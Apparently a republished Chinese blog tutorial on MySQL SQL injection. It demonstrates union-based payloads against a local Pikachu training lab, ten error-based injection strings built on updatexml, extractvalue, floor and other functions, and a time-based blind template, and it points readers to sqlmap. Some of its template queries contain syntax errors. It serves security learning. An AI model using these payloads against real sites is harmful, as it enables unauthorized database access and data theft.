sql注入之Mysql数据库(二)
2021/6/21 2:28:18
本文主要是介绍sql注入之Mysql数据库(二),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1.前言
前面述说了Mysql渗透时用的基础知识后,本章内容述说Mysql注入时所用的语法知识
2.如何判断是否有注入点
直接使用awvs扫描器或者xray被动扫描,手工的话使用'和and 1=1判断吧
3.Mysql注入语句
查表名 第一种:select group_concat(table_name) from information_schema.tables where table_schema=database() 第二种:select table_name from information_schema.tables limit 0,1 where table_schema=database() 查列名 第一种:select group_concat(column_name) from information_schema.columns where table_name='test2' 第二种:select table_name from information_schema.tables limit 0,1 where table_schema=database() 查字段值 select aaa from test2 limit 0,1
4.Mysql注入语法的说明
1.union 注入
首先先order by查询字段(注意在url字段要url编码,后续为了直观都是url解码后的结果)
http://192.168.1.101/pikachu/vul/sqli/sqli_str.php?name=1' order by 2 #&submit=查询
即代表存在两个字段,当然可以直接使用union进行判断
http://192.168.1.101/pikachu/vul/sqli/sqli_str.php?name=-1' union select 1,2 #&submit=查询
然后再对应的回显字段套入响应的sql语句即可
2.报错注入
说明:其中有些报错会对Mysql的版本有要求,具体原理请自行查询,这里本人把实验操作弄丢了(尴尬了。。。)。
1.floor() select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2.extractvalue()= select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 3.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 4.geometrycollection() select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5.multipoint() select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.polygon() select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.multipolygon() select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.linestring() select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.multilinestring() select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.exp() select * from test where id=1 and exp(~(select * from(select user())a));
3.盲注
1、时间(布尔)盲注
原理:通过条件语句,判断返回的结果值是否满足触发时间函数或者布尔结果,利用二分法来对结果进行定位。
这里给一个语句模板
and if((sql语句),时间函数,1) %23
建议:这里使用sqlmap等sql注入工具进行注入更加。
这篇关于sql注入之Mysql数据库(二)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-20部署MySQL集群入门:新手必读指南
- 2024-11-20部署MySQL集群教程:初学者指南
- 2024-11-20部署MySQL集群项目实战:新手教程
- 2024-11-20部署MySQL集群资料:新手入门教程
- 2024-11-20MySQL集群部署教程:入门级详解
- 2024-11-20MySQL集群教程:入门与实践指南
- 2024-11-20部署MySQL集群教程:新手入门指南
- 2024-11-20MySQL读写分离教程:轻松入门
- 2024-11-20部署MySQL集群入门:一步一步搭建你的数据库集群
- 2024-11-19部署MySQL集群学习:入门教程